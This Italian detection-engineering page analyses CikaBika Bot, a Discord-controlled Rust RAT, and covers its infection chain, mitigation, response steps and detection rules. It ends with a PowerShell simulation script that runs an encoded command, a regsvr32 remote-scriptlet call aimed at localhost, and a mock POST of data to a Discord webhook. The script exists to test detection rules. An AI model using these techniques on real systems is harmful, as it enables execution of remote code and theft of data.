Analisi di CikaBika Bot: Come Funziona il Discord RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
CikaBika Bot è un trojan di accesso remoto basato su Rust distribuito tramite esche di phishing come file LNK e documenti PDF dannosi. Il malware utilizza un loader basato su Nim per attivare un bypass UAC di PowerShell e eseguire un hijacking dell’ordine di ricerca DLL contro Microsoft Edge. Si affida a Discord come piattaforma di comando e controllo per gestire i sistemi infetti ed eseguire una serie di comandi dannosi.
Indagine
I ricercatori di Darktrace hanno analizzato la catena di infezione a partire da un’immagine disco contenente un collegamento dannoso e un PDF esca. L’indagine ha tracciato il payload da un file di testo temporaneo a una DLL compromessa posizionata nella directory dell’applicazione Microsoft Edge. I ricercatori hanno anche osservato il RAT utilizzare Discord per la ricognizione e sfruttare ngrok per l’esfiltrazione di dati.
Mitigazione
Le organizzazioni dovrebbero applicare controlli rigorosi sull’esecuzione di file LNK e immagini disco ottenuti da fonti non attendibili. Rafforzare le impostazioni di Controllo dell’Account Utente (UAC) e monitorare le modifiche non autorizzate al registro che coinvolgono comandi shell HKLM/HKCU può aiutare a prevenire tentativi di bypass. I team di sicurezza dovrebbero anche osservare processi figli insoliti di Microsoft Edge e l’uso non autorizzato di Discord o ngrok.
Risposta
Quando viene rilevata l’attività di CikaBika Bot, isolare gli endpoint interessati dalla rete per interrompere il canale C2 di Discord. Eseguire un’analisi forense dei %TEMP% directory e dei percorsi di installazione di Microsoft Edge per identificare i file dannosi dbghelp.dll. Revisionare la telemetria di rete per connessioni sospette che coinvolgono ipify.com o ngrok per valutare la portata potenziale dell’esfiltrazione dei dati.
Flusso d’attacco
Stiamo ancora aggiornando questa parte.
Rilevamenti
Possibile file LNK dannoso con doppia estensione (via cmdline)
Chiamata a Classi/Metodi .NET sospetti da Powershell CommandLine (via process_creation)
Uso sospetto di CURL (via cmdline)
Chiamata a Metodi .NET sospetti da Powershell (via powershell)
Chiamata a Funzioni API Windows sospette da Powershell (via powershell)
Possibili indicatori di offuscamento di Powershell (via powershell)
Possibile servizio di tunneling porta (via dns)
IOC (HashMd5) per rilevare: CikaBika Bot: all’interno di un RAT Discord
PowerShell e Regsvr32 eseguiti per l’esfiltrazione di dati tramite Discord [Windows Powershell]
Esecuzione di Payload RAT decodificato e ricognizione processi [Creazione di Processi Windows]
Esecuzione di simulazione
-
Narraativa dell’Attacco & Comandi: L’avversario ha ottenuto accesso iniziale. Per evitare il rilevamento, tenta di eseguire un payload tramite un comando PowerShell codificato. La stringa del comando include un commento “bypass UAC di PowerShell” fittizio per attivare la logica della regola specifica. Successivamente, l’avversario tenta di utilizzare
regsvr32.exeper eseguire uno scriptlet remoto (simulato tramite un file locale per evitare rumore di rete durante i test). Infine, l’avversario simula l’esfiltrazione dei dati inviando una richiesta POST fittizia a un URL webhook di Discord tramite PowerShell. -
Script di Test di Regressione:
# Script di Simulazione: Imitazione dell'esfiltrazione Discord in stile Cikabika Write-Host "[+] Avvio della Simulazione..." # 1. Simula la condizione 'selection_uac_bypass' e 'selection_powershell_encoded' # Il comando include la stringa letterale 'bypass UAC di PowerShell' e utilizza '-enc' $command = "Write-Output 'Payload Dannoso'; # bypass UAC di PowerShell" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) Write-Host "[+] Esecuzione di PowerShell Codificato con Stringa Bypass..." powershell.exe -enc $encodedCommand # 2. Simula 'selection_regsvr32' # Questo attiva la seconda metà della condizione 'AND' nella regola Write-Host "[+] Esecuzione di Regsvr32..." regsvr32.exe /s /i:http://localhost/dummy.sct scrobj.dll # 3. Simula 'selection_discord_exfil' # Questo fornisce un percorso alternativo per la seconda metà della condizione 'AND' Write-Host "[+] Simulazione dell'Esfiltrazione Discord..." $discordWebhook = "https://discord.com/api/webhooks/test/12345" powershell.exe -Command "Invoke-RestMethod -Uri '$discordWebhook' -Method Post -Body '{"content": "Dati Esfliati"}'" Write-Host "[+] Simulazione Completa." -
Comandi di Pulizia:
# Pulizia: Rimuovi eventuali file temporanei creati durante la simulazione (se presenti). # In questa specifica simulazione, non sono stati scritti file su disco, # ma garantiamo che l'albero dei processi sia pulito. Stop-Process -Name "powershell" -ErrorAction SilentlyContinue Write-Host "[+] Pulizia Completa."